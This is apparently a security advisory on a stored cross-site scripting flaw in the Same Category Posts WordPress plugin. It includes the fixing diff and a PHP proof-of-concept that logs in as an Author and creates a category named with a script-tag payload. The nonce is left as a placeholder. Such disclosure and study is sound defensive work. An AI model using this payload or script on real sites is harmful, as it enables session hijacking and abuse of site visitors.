Atomic Edge analysis of CVE-2025-14797:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Same Category Posts WordPress plugin. The plugin’s widget title placeholder functionality fails to properly sanitize taxonomy term names before output. Attackers with Author-level access or higher can inject malicious scripts that execute when a user views a page containing the compromised widget.
The root cause is the use of the `htmlspecialchars_decode()` function on widget title output in the `same-category-posts.php` file. WordPress core intentionally encodes HTML entities in taxonomy term names for safety. The plugin’s code, specifically in lines 636, 662, and 704, decodes these entities before echoing them, effectively reversing the security encoding. This occurs within the `widget()` and `shortcode()` methods of the plugin’s widget class.
Exploitation requires an authenticated attacker with at least Author privileges. The attacker would create or edit a post, assign it to a specially crafted category or tag name containing a JavaScript payload (e.g., `alert(document.domain)`). They would then configure the Same Category Posts widget to use that taxonomy term as a title placeholder. When the widget renders on a front-end page, the `htmlspecialchars_decode()` call decodes the stored HTML entities, causing the script to execute in visitors’ browsers.
The patch replaces `htmlspecialchars_decode()` with `wp_kses_post()` in the three affected output lines. The `wp_kses_post()` function is a WordPress security function that sanitizes content for allowed HTML tags and attributes in post content. This change ensures any HTML entities in the taxonomy term name remain safely encoded, or any allowed HTML is properly sanitized, neutralizing the XSS payload.
Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of any user viewing a page with the malicious widget. This can lead to session hijacking, actions performed on behalf of the user, defacement, or redirection to malicious sites. The requirement for Author-level access limits the attack surface but poses a significant risk in multi-author environments.
--- a/same-category-posts/same-category-posts.php
+++ b/same-category-posts/same-category-posts.php
@@ -4,7 +4,7 @@
Plugin URI: https://wordpress.org/plugins/same-category-posts/
Description: Adds a widget that shows the most recent posts from a single category.
Author: Daniel Floeter
-Version: 1.1.19
+Version: 1.1.20
Author URI: https://profiles.wordpress.org/kometschuh/
*/
@@ -13,7 +13,7 @@
// Don't call the file directly
if ( !defined( 'ABSPATH' ) ) exit;
-define( 'SAME_CATEGORY_POSTS_VERSION', "1.1.19");
+define( 'SAME_CATEGORY_POSTS_VERSION', "1.1.20");
/**
@@ -636,7 +636,7 @@
} else // no category placeholder is used
$linkList = '<a href="' . get_category_link( $categories[0] ) . '">'. $instance['title'] . '</a>';
}
- echo htmlspecialchars_decode(apply_filters('widget_title',$linkList));
+ echo wp_kses_post(apply_filters('widget_title',$linkList));
} else {
$categoryNames = "";
if ($categories) {
@@ -662,7 +662,7 @@
else
$categoryNames = $instance['title'];
}
- echo htmlspecialchars_decode(apply_filters('widget_title',$categoryNames));
+ echo wp_kses_post(apply_filters('widget_title',$categoryNames));
}
echo $after_title;
}
@@ -704,7 +704,7 @@
foreach($widgetHTML as $val) {
// widget title
$haveItemHTML = false;
- $ret = $before_title . htmlspecialchars_decode(apply_filters('widget_title',isset($val['title'])?$val['title']:"")) . $after_title;
+ $ret = $before_title . wp_kses_post(apply_filters('widget_title',isset($val['title'])?$val['title']:"")) . $after_title;
$count = 1;
$num_per_cat = (isset($instance['num_per_cate'])&&$instance['num_per_cate']!=0?($instance['num_per_cate']):99999);
foreach($val as $key) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14797 - Same Category Posts <= 1.1.19 - Authenticated (Author+) Stored Cross-Site Scripting via Widget Title Placeholder
<?php
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'author_user';
$password = 'author_pass';
// Payload to inject into a category name. The plugin will decode the HTML entities.
$malicious_category_name = 'POC Category <script>alert(document.domain)</script>';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Create a new category with the malicious name via POST to admin-ajax.php
// This simulates an attacker creating a category through the WordPress interface.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_fields = [
'action' => 'add-tag',
'taxonomy' => 'category',
'tag-name' => $malicious_category_name,
'slug' => 'poc-category-xss',
'description' => '',
'_wpnonce_add-tag' => '// Nonce would be extracted from the page in a full exploit',
'parent' => '-1'
];
// Note: A full exploit would first fetch the nonce from the categories admin page.
// This PoC assumes the attacker has a valid nonce or the CSRF protection is bypassed.
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_fields));
$response = curl_exec($ch);
// Step 3: The attacker would then create a post in this category and add the Same Category Posts widget.
// The widget must be configured to use the category name as the title placeholder.
// This is done via the WordPress Customizer or Widgets admin screen.
// The final step is viewing a page containing the widget, which triggers the XSS.
curl_close($ch);
echo "Proof of Concept setup complete. If successful, a category named '$malicious_category_name' was created.n";
echo "An attacker would configure the Same Category Posts widget to use this category's name as the title placeholder.n";
echo "When the widget renders, the script will execute in visitors' browsers.n";
?>